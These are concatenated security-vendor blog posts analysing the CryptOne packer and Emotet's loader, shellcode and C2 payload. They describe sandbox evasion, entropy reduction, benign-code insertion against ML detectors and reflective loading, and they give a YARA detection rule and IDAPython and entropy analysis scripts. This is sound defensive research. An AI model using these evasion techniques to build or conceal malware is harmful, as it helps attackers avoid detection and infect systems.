src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt28edcab38f297b32/61b3bc0058562f69d76c3a75/multiple-stages.png" height="auto"/>Beginning of the shellcode after the decryption2. Reduced entropy As mentioned, the payload is concealed as an encrypted resource. Encrypted data increase the entropy of the data and causes the loader to look more suspicious. These samples allocate a buffer with RWX permissions, but the encrypted data is not copied to it as is. Rather, it is copied in chunks while some bytes are skipped over. The bytes that are skipped over all have the same value. The reason for that might be to make the reverse engineering process more difficult, but our assumption is that the padding exists to reduce the entropy of the encrypted data and make the loader less suspicious.<img asset_uid="bltb0e329cebc6fd2cb" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb0e329cebc6fd2cb/61b3bc007b076014dcacd2d3/reduced-entropy.png" height="auto"/>Encrypted data padded with chunks of the same value.3. Sandbox evasion: Sandboxes let the malware execute for a limited time. If the malware stays inactive until the analysis is finished, it could avoid detection. Sandbox solutions are aware of this problem, so they don’t allow the Sleep function to be used for extended periods of time.The loader created by the CryptOne software simulates Sleep. It contains small chunks of useless code that runs in loops and performs system calls that are irrelevant for the malware's functionality. In some loaders, this code executed very quickly, but the Emotet loaders took almost a minute to execute this code.Another explanation for this behavior is to fill the sandbox report with useless information so it will be harder to spot important alerts. Usually, each system call is logged by the sandbox and added to the report. The packer performs many system calls to create a report that will be difficult to process.<img asset_uid="bltb0b9d5b86efcb231" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb0b9d5b86efcb231/61b3bc00d461606efe8e6e9b/sanbox-evasion.png" height="auto"/>4. Static analysis subversion: The loader attempts to break static analysis by inserting code blocks that will never be executed and won’t interrupt the unpacking process but might confuse some disassembly algorithms. For example, a function that contains infinite recursion that will always be skipped over.<img asset_uid="blt023d1bb3026e54fb" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt023d1bb3026e54fb/61b3bc007c125a69ccdb84fe/static_analysis-subversion.png" height="auto"/>5. KillswitchThis characteristic was reported by <a href="https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/">Fox-IT</a>The loader checks for the existence of the registry key: interface\{b196b287-bab4-101a-b69c-00aa00341d07}The loader then enters an infinite loop if the key does not exist.The loader attempts to hide the parameters that are sent to RegOpenKey. An arbitrary value is stored in a global variable. This value is then copied to a register and decreased to reach the actual value that is required for the API call. This technique was observed in multiple families. Also, in some samples the string of the registry key was decrypted in run-time.This killswitch might be a precaution to avoid infecting the control servers. Another killswitch was found only in the Emotet loaders. It exits if it is executed under the user “JhD.”<img asset_uid="blt628d5b8563578b8d" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt628d5b8563578b8d/61b3bc004f9f496e8e622266/killswitch.png" height="auto"/><h2>The Shellcode</h2>The data that is decrypted by the loader has the following structure: names of WinAPI, encrypted PE file, and then the shellcode. The shellcode decrypts the PE which is the destined malware, and then performs reflective loading using the following steps:<ol><li>Resolve the addresses of the WinAPI names. This is performed using the DLL kernelbase. This is unusual as most shellcodes use kernel32. This might be to evade detection by security products since it is known that many products place hooks inside functions from kernel32.</li><li>Unmap the loader image using UnmapViewOfFile. This is another uncommon technique. Usually, a new buffer will be allocated at a random address, but the shellcode of CryptOne attempts to copy the destined malware to the same address that the loader was in.</li><li>Copy the PE headers and sections</li><li>Fix the Import Address Table with the correct addresses</li><li>Perform the relocations listed in the relocation table</li><li>Change the memory protection of each section according to its characteristics</li><li>Update the following fields in the LDR entry of the image: entry point, DLL base, and size of image</li><li>Update the image base address field in the PEB structure</li></ol>After all these steps are performed, the shellcode jumps to the entry point of the destined malware.<h2>Conclusion</h2>CryptOne is a sophisticated packer and presents a unique set of challenges to detect. It is composed of multiple stages of execution and attempts to evade detection by subverting static analysis, reducing the entropy of the data, and confusing disassembly algorithms. It also tries to avoid sandbox detection and cause damage by staying inactive for a long duration and filling the report with useless information.These features make it attractive for attackers that need to reduce the detection rate of their malware, and we might see more threat actors use it in the near future.If you’d like to hear more about our industry-leading approach to stopping malware, please <a href="/contact-us/" target="_self">contact us</a> and we’ll set up a demo.<a href="/blog/why-emotets-latest-wave-is-harder-to-catch-than-ever-before" target="_self">/blog/why-emotets-latest-wave-is-harder-to-catch-than-ever-before</a> <a href="/blog/why-emotets-latest-wave-is-harder-to-catch-than-ever-before-part-2" target="_self">/blog/why-emotets-latest-wave-is-harder-to-catch-than-ever-before-part-2/</a><a href="/blog/emotet-malware-2020/" target="_self"> </a><a href="/blog/emotet-malware-2020/" target="_self">/blog/emotet-malware-2020/</a>

A Deep Dive into Packing Software CryptOne

Emotet, the infamous malware botnet, went silent at the end of October and came back on December 21, 2020. The botnet continues to serve as a platform

emotet-new-wave.jpg

Emotet, the infamous malware botnet, went silent at the end of October and came back on December 21, 2020. The botnet continues to serve as a platform that installs other malware in the infected systems. Currently, it's being observed delivering Trickbot. <a href="https://securityaffairs.co/wordpress/112817/malware/emotet-campaign-hit-lithuania.html" target="_blank" rel="noopener">Lithuania's National Public Health Center</a> was <a href="https://nvsc.lrv.lt/lt/naujienos/siunciant-dideli-kieki-virusu-uzkrestu-elektroniniu-laisku-antra-karta-si-rudeni-bandoma-pakenkti-valstybes-institucijoms" target="_blank" rel="noopener">hit by Emotet</a>. The malware infected their internal networks and began downloading additional files, sending fake emails, and engaged in other types of malicious activity. This caused the institution to temporarily disable their email systems until the malware was removed.We have been following the botnet operation. In the previous publications, we described the <a href="https://www.deepinstinct.com/2020/08/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before/" target="_blank" rel="noopener">techniques used by Emotet</a> to avoid detection by security products, and how to overcome them and <a href="https://www.deepinstinct.com/2020/10/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before-part-2/" target="_blank" rel="noopener">unpack the malware</a>.In this blog post, the new loader of Emotet will be examined and compared to the previous one. We’ll describe the changes to the unpacking order, new unique properties of the files, and novel obfuscation methods. We’ll also talk about which evasion techniques and indicative features of the malware stayed the same.<h3>Differences</h3><ol><li>Execution flow – The malware is packed and there are several steps performed before the final payload is executed.</li></ol><img class="alignnone wp-image-10145 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt011ba48de43d59ad/611a79fabf98451666a132d0/4-Infection-Stages.jpg" width="800" height="726" data-image="3wyiqfj512hb" style="width: 800px; height: 726px;"/>From the samples we recently gathered, the number of steps executed was cut down:<img class="alignnone wp-image-10128 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb9344e17cf74b901/611a7a060779a81633f9ebf3/reduced-stages.jpg" width="690" height="553" data-image="6nh75fc819nk" style="width: 690px; height: 553px;"/>The reason for that is unclear, but our hypothesis is that the longer unpacking process was ineffective at reducing detection rates. <a href="/glossary/emotet-malware" target="_self">Emotet</a> uses a technique called reflective loading to load all of its stages. If a certain security product can detect reflective loading, using it multiple times won’t help to evade it. Another explanation can be that they are trying to evade heuristics that were created specifically for Emotet. The previous execution flow was very long and unique. If their malware is prevented by detecting this specific flow, changing it might help.2. The Loader – The loader went through a few changes, the first of which is switching from an executable file to a DLL. This DLL has unique exports: “RunDLL” and “Control_RunDLL”. This makes it possible to detect Emotet infections with EDR. If the process rundll32.exe was started with a parameter that matches the export, the system would be infected. Samples can also be detected with the following YARA rule:import "pe"private rule emotet_exports { condition: pe.exports("RunDLL") or pe.exports("Control_RunDLL") }private rule is_dll { condition: pe.characteristics & pe.DLL }rule emotet { condition: is_dll and emotet_exports }We noticed another important change from the samples we manually examined. It looks like some of them do not contain benign code. This technique was used by the malware to reduce the detection rate and bypass security products but has since disappeared.3. Additional obfuscation – A new code obfuscation technique was observed in payloads extracted from the loaders. They set the value in local variables using many bit-wise operations instead of a single, simple operation. This form of obfuscation makes it is harder to understand the code without executing it and makes the debugging process more tedious.<img class="alignnone size-full wp-image-10132" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf09d39e5e2e1c812/611a7a06e29cee162e563780/image1.png" width="240" height="623" data-image="xrv3fydxty8m" style="width: 240px; height: 623px;"/><h3>Similarities</h3>1. Decryption algorithm – The payload is stored as an encrypted resource inside the loader. While performing the research on the previous wave of Emotet, we developed a tool that is able the decrypt and extract the payload statically, without executing the malware. This tool is still viable for recent samples, and this shows the developers did not change the algorithm.2. Code obfuscation – In addition to the obfuscation described above, there is an obfuscation technique that also existed in the previous version of the payload. The code contains a complicated switch case and unnecessary jump instructions making it harder to understand the natural order of the code.<img data-image="ouci405yiyeg" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltdb5b5c294332df09/6180b46407a3a40cd7f0e0c9/image2-1000x803.png" data-sys-asset-uid="bltdb5b5c294332df09" alt="image2-1000x803.png"/>3. Hidden data – The payload conceals its functionality by not listing any WinAPI import or meaningful string. This subverts the static analysis and forces the researcher to debug the malware to discover this data. The strings are stored in an encrypted form, and the APIs are resolved using a hash of their name. The decryption algorithm of the strings and the <a href="https://www.deepinstinct.com/2020/10/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before-part-2/" target="_blank" rel="noopener">hashing algorithm of the APIs</a> stayed the same.<h3>Practice Makes Perfect</h3>By assessing the stages of 2020's new trojan&nbsp; of Emotet, the changes and new techniques used by the malware were identified along with the parts and features that have stayed the same.Emotet is known as very evasive malware. These modifications indicate a desire to decrease their detection rate as much as possible. The techniques that were found useful for bypassing security products were kept, while the methods that were improved or removed are reflective of an agile methodology of improving on what isn’t sufficiently effective.Keeping track of modifications in malware such as Emotet is vital because of their wide infection base. New evasion or injection techniques might help the malware to bypass security products and infect many systems.

Emotet Malware 2020

Emotet, the largest malware botnet today, started in 2014 and continues to be one of the most challenging threats in today’s landscape. This botnet ca

Emotet, the largest malware botnet today, started in 2014 and continues to be one of the most challenging threats in today’s landscape. This botnet causes huge damage by spreading ransomware and info stealers to its infected systems. Recently, a rise in the number of <a href="https://www.zdnet.com/article/france-japan-new-zealand-warn-of-sudden-spike-in-emotet-attacks/" target="_blank" rel="noopener noreferrer">Emotet infections was observed</a> in France, Japan, and New Zealand. The high number of infections shows the effectiveness of the Emotet malware at staying undetected.
The previous wave of Emotet started in September 2019 and ended in February 2020. The activity was paused for 5 months, and then, on July 17th, the current wave started. The creators behind Emotet are aware that organizations are getting more successful at detecting previous versions as they increase their infection rates. Inevitably, the wave starts to drop as the industry gains a greater understanding and control of the threat.
A point comes when the malware creators realize <a href="https://www.darkreading.com/attacks-breaches/emotet-return-brings-new-tactics-and-evasion-techniques/d/d-id/1338654" target="_blank" rel="noopener noreferrer">they need to go back to the lab</a>. For a period of time, they go under the radar completely as they start working on the next wave, making it as potent and evasive as possible. The tactic seems to be working: After going dark for a few months, Emotet appears to have reemerged more evasive than before, this time with a payload delivered from a loader that security tools aren't equipped to handle.
In the <a href="https://www.deepinstinct.com/2020/08/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before/" target="_blank" rel="noopener noreferrer">previous article</a>, we examined the Emotet loader. We revealed how it evades detection by inserting benign code that subverts security products by obfuscating its malicious functionality. This loader contains a hidden payload that is decrypted and then executed. This payload uses new evasion techniques that were not seen in the loader, and it has some unique indicators that will lead us to the git repository used by the developers to generate their malware.
We collected reports published by <a href="https://paste.cryptolaemus.com/" target="_blank" rel="noopener noreferrer">cryptolaemus</a> from July 17th, the beginning of the current wave, until September 3rd. Based on this information 444,000 unique Emotet loaders were generated, with the peak occurring at the end of August.

<img data-image="kab6rfqjypob" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltea83d3b73dede388/6180b6bd166cf50e4a5c68fe/photo1-1000x592.png" data-sys-asset-uid="bltea83d3b73dede388" alt="photo1-1000x592.png">
 In this blog post, the writer investigates the payload that was encrypted inside the loader, analyzes the next steps in the infection process, and discovers the techniques used to make this malware difficult to analyze.
<h2></h2>
<h3>The Shellcode</h3>
In the last step in the execution of the malware, a memory buffer was allocated, and the decrypted payload was copied there. The payload consists of a shellcode followed by a PE file, and an overlay containing the string “dave”. The shellcode performs reflective loading on the PE file by executing the following steps:
<ol>
<li>Read the PEB structure in order to locate the APIs necessary for its functionality such as LoadLibrary, VirtualAlloc, VirtualProtect, and more</li>
<li>Allocate a memory buffer according to the value of SizeOfImage in the optional header</li>
<li>Copy the image headers</li>
<li>Copy the image sections and change the memory protection according to the section characteristics</li>
<li>Retrieve the correct addresses of the functions listed in the IAT</li>
<li>Perform relocations according to the relocations table</li>
<li>Jump to the entry point</li>
<li>Search a function whose name can be converted to the hash 0x30627745 and call it with the string “dave” from the overlay</li>
</ol>
This shellcode utilizes a malicious technique that loads the PE file in a way that makes it more difficult to detect using memory forensics. It replaces the DOS header with zeroes in order to remove strings such as “MZ” and “This program cannot be run in DOS mode”. These strings can be used to detect PE files that were injected into memory.
<img class="alignnone wp-image-9200 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt00e6a24eb7cc5287/611a7a85d03d3b1650bb2f69/photo2.png" width="975" height="351" data-image="2xz7ef5ho7vo">
Memory comparison: on the left is the PE file after it is loaded by the shellcode and on the right is how it should look.
There were a few unusual things about this shellcode:
<ol>
<li>The shellcode searched the export table of the file for a function to call although it Isn’t a DLL and it contains no exports.</li>
<li>The string “dave” seemed out of place and meaningless.</li>
<li>The hashing algorithm found is common among shellcodes and the hashes of the WinAPI used by the code can be found in online repositories, but the hash of the exported function (0x30627745) didn’t appear there.</li>
</ol>
Searching these indicators led to the git <a href="https://github.com/cryzlasm/sRDI-1" target="_blank" rel="noopener noreferrer">repository</a>, which contains the source code for this shellcode. We found out that by default the shellcode searches for an export named “SayHello” in the file it loads and “dave” is a parameter that is sent to this function. The Emotet group didn’t change the default parameters in the script and that IOC led to the source code.
Now that we know how the shellcode operates, we can move on to the PE file that was loaded, which is the final payload of the loader.
<h2></h2>
<h3>The Final Payload</h3>
Removing the shellcode and the overlay string from the data that was extracted from the loader resulted in this PE file:
D59853E61B8AD55C37FBA7D822701064A1F9CFAF609EE154EF0A56336ABA07C1
Compared to the loader, which was disguised as a benign file, this file has clear malicious indicators:
<ol>
<li>Code obfuscation – The malware’s developers used a complicated switch case to make the flow of code difficult to understand. It contains many unnecessary jump instructions that make the debugging process longer.</li>
</ol>

<img data-image="52lxgpa2vztv" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt37d4a20d24725771/6180b82e20d8c375bd0c3f2b/photo3-1000x731.png" data-sys-asset-uid="blt37d4a20d24725771" alt="photo3-1000x731.png">
Graph overview of the main function generated using IDA, showing the code obfuscation.
<ol start="2">
<li>No strings – After performing static analysis on the sample, no meaningful strings were found. This is because the malware contains encrypted strings and decrypts them only when they are used. When debugging the sample interesting strings were found such as registry keys used for persistence and format strings used for HTTP requests.</li>
<li>Avoid suspicious calls – Some API calls are known to be monitored by security products since many malware strains abuse them. The malware needs to know if it runs with admin privileges in order to determine how deep inside the system it can install itself. Instead of using the simple API for it (<a href="https://docs.microsoft.com/en-us/windows/win32/api/shlobj_core/nf-shlobj_core-isuseranadmin">IsUserAnAdmin</a>), it tries to gain a handle with full access rights to the service control manager, which is only accessible with admin rights. This method is less suspicious and might help the malware avoid certain heuristic detections used by security products.</li>
<li>Empty import table – The malware hides its functionality and intents by not listing any API functions in its IAT. This way static analysis will not help us determine the malware capabilities and behavior. Instead, the malware retrieves WinAPI addresses dynamically.</li>
</ol>
Much like the shellcode previously discussed, it reads the PEB structure, but it also uses a unique hashing algorithm so standard hash dictionaries for WinAPI won’t help to convert the hashes the code uses back to strings. In order to make the code easier to understand we’ll have to create our own dictionary.
When looking at the disassembly, the hashing algorithm looks complicated, but it contains a lot of mathematical operations that cancel each other out. Using IDA pseudo-code utility, we can convert it to a simple C code. This code was used to create a dictionary with hashes of many DLL files and API names. We wrote a script that uses IDAPython in order to add the name of the dll files and APIs next to the hashes in the code.
<pre>&lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; idautils
&lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; json

hashes_dict = json.load(&lt;span style="color: #0000ff;"&gt;open&lt;/span&gt;(&lt;span style="color: #993366;"&gt;"emotet_hashes.json"&lt;/span&gt;, &lt;span style="color: #993366;"&gt;'r'&lt;/span&gt;))
dlls_set = &lt;span style="color: #33cccc;"&gt;set&lt;/span&gt;()
apis_set = &lt;span style="color: #33cccc;"&gt;set&lt;/span&gt;()
&lt;span style="color: #0000ff;"&gt;for&lt;/span&gt; func in idautils.Functions():
 flags = idc.get_func_attr(func, FUNCATTR_FLAGS)
 &lt;span style="color: #339966;"&gt;# skip library & thunk functions&lt;/span&gt;
 &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; flags & FUNC_LIB or flags & FUNC_THUNK:
 &lt;span style="color: #0000ff;"&gt;continue&lt;/span&gt;
 dism_addr = &lt;span style="color: #33cccc;"&gt;list&lt;/span&gt;(idautils.FuncItems(func))
 &lt;span style="color: #0000ff;"&gt;for&lt;/span&gt; ea in dism_addr:
 &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; idc.print_insn_mnem(ea) == &lt;span style="color: #993366;"&gt;"mov"&lt;/span&gt;:
 register = idc.print_operand(ea, 0)
 value = idc.print_operand(ea, 1)
 &lt;span style="color: #339966;"&gt; # ecx contains the hash respresenting the dll&lt;/span&gt;
 &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; register == &lt;span style="color: #993366;"&gt;'ecx'&lt;/span&gt;:
 &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; value in hashes_dict[&lt;span style="color: #993366;"&gt;"dlls"&lt;/span&gt;]:
 dll_name = hashes_dict[&lt;span style="color: #993366;"&gt;"dlls"&lt;/span&gt;][value]
 dlls_set.add(dll_name)
 idc.set_cmt(ea, dll_name, 0)
 &lt;span style="color: #339966;"&gt;# edx contains the hash respresenting the API&lt;/span&gt;
 &lt;span style="color: #0000ff;"&gt;elif&lt;/span&gt; register == &lt;span style="color: #993366;"&gt;"edx"&lt;/span&gt;:
 &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; value in hashes_dict[&lt;span style="color: #993366;"&gt;"apis"&lt;/span&gt;]:
 api = hashes_dict[&lt;span style="color: #993366;"&gt;"apis"&lt;/span&gt;][value]
 apis_set.add(api)
 idc.set_cmt(ea, api, 0)
&lt;span style="color: #0000ff;"&gt;print&lt;/span&gt;(f&lt;span style="color: #993366;"&gt;"{len(dlls_set)} DLLs and {len(apis_set)} APIs were found"&lt;/span&gt;)</pre>
<pre>&lt;span style="font-size: 8pt;"&gt;IDAPython script that adds the hidden imports to the code&lt;/span&gt;</pre>
&nbsp;
The purpose of this malware is to send information to the C2 servers about the infected system and receive commands as well as other files to execute. The file contains a list of IP addresses that are iterated over until a response is received from one of the servers.
The malware collects information such as the computer name and running processes, encrypts the data using AES, and sends it over HTTP. The server sends back malware such as ransomware and info stealers that are executed on the infected system.
<h3>Summary</h3>
In this blog post, we analyzed the next steps in the execution of the Emotet malware. We discovered that the attackers used a publicly accessible shellcode generator, which contained unique indicators. Next, we looked at the final payload of the loader that was responsible for communicating with the C2 servers and downloading additional files. Although much effort was put into making the code hard to understand, we showed how to make it decipherable. By observing the entire infection process done by the Emotet malware, we can see how this botnet achieves going undetected for such long periods.

Why Emotet’s Latest Wave is Harder to Catch than Ever Before - Part 2

After five months of inactivity, the prolific and well-known Emotet botnet re-emerged on July 17th. The purpose of this botnet is to steal sensitive i

After five months of inactivity, the prolific and well-known Emotet botnet re-emerged on July 17th. The purpose of this botnet is to steal sensitive information from victims or provide an installation base for additional malware such as TrickBot, which then in many cases will drop ransomware or other malware. So far, in the current wave, <a href="https://www.bleepingcomputer.com/news/security/emotet-botnet-is-now-heavily-spreading-qakbot-malware/" target="_blank" rel="noopener noreferrer">it was observed delivering QakBot</a>.
In this blog post, we reveal some novel evasion techniques which assist the new wave of Emotet to avoid detection. We discovered how its evasion techniques work and how to overcome them. The first part of the malware execution is the loader which is examined in this article, with an emphasis on the unpacking process. We also partition the current wave into several clusters, each cluster has some unique shared properties among the samples.
<h3>Clustering the samples</h3>
A dataset of 38 thousand samples was created using data collected by the <a style="font-size: 16px;" href="https://paste.cryptolaemus.com/" target="_blank" rel="noopener noreferrer">Cryptolaemus</a> group, from July 17th to July 28th. This group divides the samples into three epochs, which are separate botnets that operate independently from one another.
Static information was extracted from each sample in order to find consistent patterns across the entire data set. The information that is relevant to identify patterns includes the size and entropy of the .text, .data, .rsrc sections, and the size of the whole file, so this information was extracted from all the files. We started our analysis with two samples, an overview for which is provided in the image below. By looking at each file size we can see that the ratio of these sections remains the same, and the entropy differs very little between the files.

<img data-image="8uq9a3zy4ilf" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt06772c3adf0f0f02/6180c1e007a3a40cd7f0e0e1/image1-1000x439.png" data-sys-asset-uid="blt06772c3adf0f0f02" alt="image1-1000x439.png">
Image shows different Emotet samples having sections with the same size and entropy 
This also results in completely identical code. The two samples presented above were compared using the diaphora plugin for IDA, and all the functions were identical.

<img data-image="kflgtpvb8ii9" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt84823dfb13ba49cf/6180c2c61714410dbc45d2e5/image2-1000x337.png" data-sys-asset-uid="blt84823dfb13ba49cf" alt="image2-1000x337.png">
Comparing the code of the two samples shows they share the exact same subroutines
Grouping the entire dataset by the size of the files resulted in 272 unique sizes of files. The files matching each size were then checked to see if they have the same static information. This way we discovered 102 templates of Emotet samples.
Each sample in the dataset that matched a template was tagged with a template ID and with an epoch number, as indicated by the Cryptolaemus group. This means that the operators behind each epoch have their own Emotet loaders. The various templates might help reduce the detection rate of the samples used by the entire operation. If a specific template has a unique feature that can be signed, it won’t affect samples belonging to other templates and epochs.
Most packers today provide features such as various encryption algorithms, integrity checks and evasion techniques. These templates are most likely the result of different combinations of flags and parameters in the packing software. Each epoch has different configurations for the packing software resulting in clusters of files that have the same static information.
<h3>Identifying benign code</h3>
The Emotet loader contains a lot of benign code as part of its evasion. A.I. based security products rely on both malicious and benign features when classifying a file. In order to bypass products like that, malware authors can insert benign code into their executable files to reduce the chance of them being detected. This is called an <a href="https://www.infosecurity-magazine.com/opinions/traditional-machine-learning/" target="_blank" rel="noopener noreferrer">adversarial attack</a> and its effectiveness is seen in security solutions based on machine learning.
By looking at the analysis done by <a href="https://analyze.intezer.com/analyses/049cf112-176b-47e1-b815-25cabfc381ed" target="_blank" rel="noopener noreferrer">Intezer</a> on a specific Emotet sample from the new wave, we can see that the benign code might be taken from Microsoft DLL files that are part of the Visual C++ runtime environment. Alternatively, the benign software could be completely unrelated to the functioning of the sample.
The following screenshot shows the similarities between the previous sample and a benign Microsoft DLL file, using the diaphora plugin:

<img data-image="du8wiqjvawpl" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt4a8f93c3b3c9e629/6180c213a61df875c3459892/image3-1000x358.png" data-sys-asset-uid="blt4a8f93c3b3c9e629" alt="image3-1000x358.png">
The Emotet loader contains benign code taken from a Microsoft DLL
Under the column “Name” there are functions from the malware, and under the column “Name 2” there are functions from the benign file. As we can see, the malware contains much benign code which isn’t necessarily needed.
The next step is to check how much of the code is actually used. This can be done using the tool drcov by DynamoRIO. This tool executes binary file and tracks which parts of the code are used. The log produced by this tool can later be processed by the lighthouse plugin for IDA. This plugin integrates the execution log into the IDA database in order to visualize which functions are used. The analysis was performed on the sample shown so far, the result is that just 16.22% of the code is executed
<img class="alignnone wp-image-7376 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt4d6a7700fd758c26/611a7ac9c856491607fd0c89/image4.png" width="844" height="502" data-image="gmig0qrdplgs"> 
The report produced by the lighthouse plugin showing which functions were executed
After we filtered out benign code that was injected into the executable, we can compare the code of different variants to locate the malicious functions which exist in every sample.
<a href="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltcf8a7129970ae0b6/611a7ac8e5ae3415fd070e16/image5.png"><img class="lightbox alignnone wp-image-7377" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltcf8a7129970ae0b6/611a7ac8e5ae3415fd070e16/image5.png" width="500" height="376" data-image="9ao5mokpnriw"></a> 
Diagram shows code from different clusters sharing the same malicious functionality.
Filtering out benign functions helps to reveal the malicious code, but it can also be found using dynamic analysis, which will be discussed in the next section.
<h3>Finding the encrypted payload</h3>
The executable previously shown is an Emotet loader. The main purpose of the loader is to decrypt the payload hidden in the sample and execute it. The payload consists of a PE file and a shellcode that loads it. The encrypted payload will cause the section it resides in to have high entropy. Based on the dataset we collected, 87% of the files had the payload in the .data section and 13% of the files had the payload in the .rsrc section. Tools like pestudio show the entropy of each section and each resource. For example, the resources of a sample with the payload lies encrypted in the “9248” resource:

In order to find the code that decrypts the resource, we can put a hardware breakpoint at the start of the resource.
<img data-image="jw49ihkvnx8p" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt15e3013719753cc0/6180c2349dce4f6f63ede672/image6-1000x128.png" data-sys-asset-uid="blt15e3013719753cc0" alt="image6-1000x128.png">
Pestudio showing the resources with the highest entropy in the Emotet loader
In cases where the payload is inside the .data section, it’s unclear where it starts. We can approximate it by calculating the entropy for small bulks of the section and find where the score starts to rise.
<pre>&lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; sys 
&lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; math 
&lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; pefile 

BULK_SIZE = 256 

&lt;span style="color: #0000ff;"&gt;def&lt;/span&gt; &lt;span style="color: #00ccff;"&gt;entropy&lt;/span&gt;(byteArr):
 arrSize = &lt;span style="color: #0000ff;"&gt;len&lt;/span&gt;(byteArr)
 freqList = []
 &lt;span style="color: #0000ff;"&gt;for&lt;/span&gt; b in &lt;span style="color: #0000ff;"&gt;range&lt;/span&gt;(256):
 ctr = 0
 &lt;span style="color: #0000ff;"&gt; for&lt;/span&gt; byte in byteArr:
 &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; byte == b:
 ctr += 1
 freqList.append(&lt;span style="color: #00ccff;"&gt;float&lt;/span&gt;(ctr) / arrSize)
 ent = 0.0
 &lt;span style="color: #0000ff;"&gt;for&lt;/span&gt; freq in freqList:
 &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; freq &gt; 0:
 ent = ent + freq * math.log(freq, 2)
 ent = -ent
 &lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; ent
pe_file = pefile.PE(sys.argv[1])
data_section = &lt;span style="color: #0000ff;"&gt;next&lt;/span&gt;(section &lt;span style="color: #0000ff;"&gt;for&lt;/span&gt; section in pe_file.sections &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; section.Name == b&lt;span style="color: #993300;"&gt;'.data\x00\x00\x00'&lt;/span&gt;)
data_section_buffer = data_section.get_data()
data_section_va = pe_file.OPTIONAL_HEADER.ImageBase + data_section.VirtualAddress 
buffer_size = &lt;span style="color: #0000ff;"&gt;len&lt;/span&gt;(data_section_buffer)
bulks = [data_section_buffer[i:i+BULK_SIZE] &lt;span style="color: #0000ff;"&gt;for&lt;/span&gt; i in &lt;span style="color: #0000ff;"&gt;range&lt;/span&gt;(0, buffer_size, BULK_SIZE)] 
&lt;span style="color: #0000ff;"&gt;for&lt;/span&gt; i, bulk in &lt;span style="color: #0000ff;"&gt;enumerate&lt;/span&gt;(bulks):
 &lt;span style="color: #0000ff;"&gt;print&lt;/span&gt;(&lt;span style="color: #0000ff;"&gt;hex&lt;/span&gt;(data_section_va + i*BULK_SIZE), entropy(bulk))</pre>
Python script that calculates the entropy of small portions of the .data section
Once we know where the payload is located, we’ll be able to find the code that decrypts it, and that is where the malicious action starts.
<h3>Analyzing the malicious code</h3>
For this part, we’ll look at the sample:
249269aae1e8a9c52f7f6ae93eb0466a5069870b14bf50ac22dc14099c2655db.
In this sample, the script indicates that the beginning of the data section contains the payload although it may vary in other samples. We will put the breakpoint at the address 0x406100. The breakpoint was hit at the address 0x40218C which is in the function sub_401F80. After looking at this function, we notice a few suspicious things:
1. This function builds strings on the stack in order to hide its intents. It uses GetProcAddress to find the address of VirtualAllocExNuma and calls it to allocate memory for the payload.
<img class="alignnone wp-image-7379 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5183a46a98aa931d/611a7ac6d7c42016a845adf9/image7.png" width="379" height="469" data-image="81lds6ytsybg"> 
The loader conceals suspicious API calls
2. It calculates the parameters for VirtualAllocExNuma during runtime, to hide the allocation of RWX memory. The function atoi is being used to convert the string “64” to int, which is PAGE_EXECUTE_READWRITE. Also, the string “8192” is converted to 0x3000 which means the memory is allocated with the flags MEM_COMMIT and MEM_RESERVE.
<img class="alignnone size-full wp-image-7380" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2315cba0ee8dd38f/611a7ac6a514e81640c57ad2/image8.png" width="249" height="270" data-image="xu6fmble88wj"> 
The parameters were saved as strings to obfuscate the API call
The payload is then copied from the .data section to the RWX memory (that is where our breakpoint hit). The decryption routine is being called and then the shellcode is being executed.
<img class="alignnone size-full wp-image-7380" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2315cba0ee8dd38f/611a7ac6a514e81640c57ad2/image8.png" width="249" height="270" data-image="ik9lx9gsscvw"> 
The loader decrypts the payload and continues to the next step in the execution of the malware
&nbsp;
In this blog post we looked at the static information of the new Emotet loader, revealed how to cluster similar samples, and found how to locate the malicious code and its payload. In addition, we exposed how the loader evades detection; primarily the loader hides the malicious API calls using obfuscation, but it also injects benign code to manipulate the algorithms of AI-based security products. Both processes have been shown to reduce the chance of the file being detected. The cumulative effect of these techniques makes the Emotet group one of the most advanced campaigns in the threat landscape.
Update
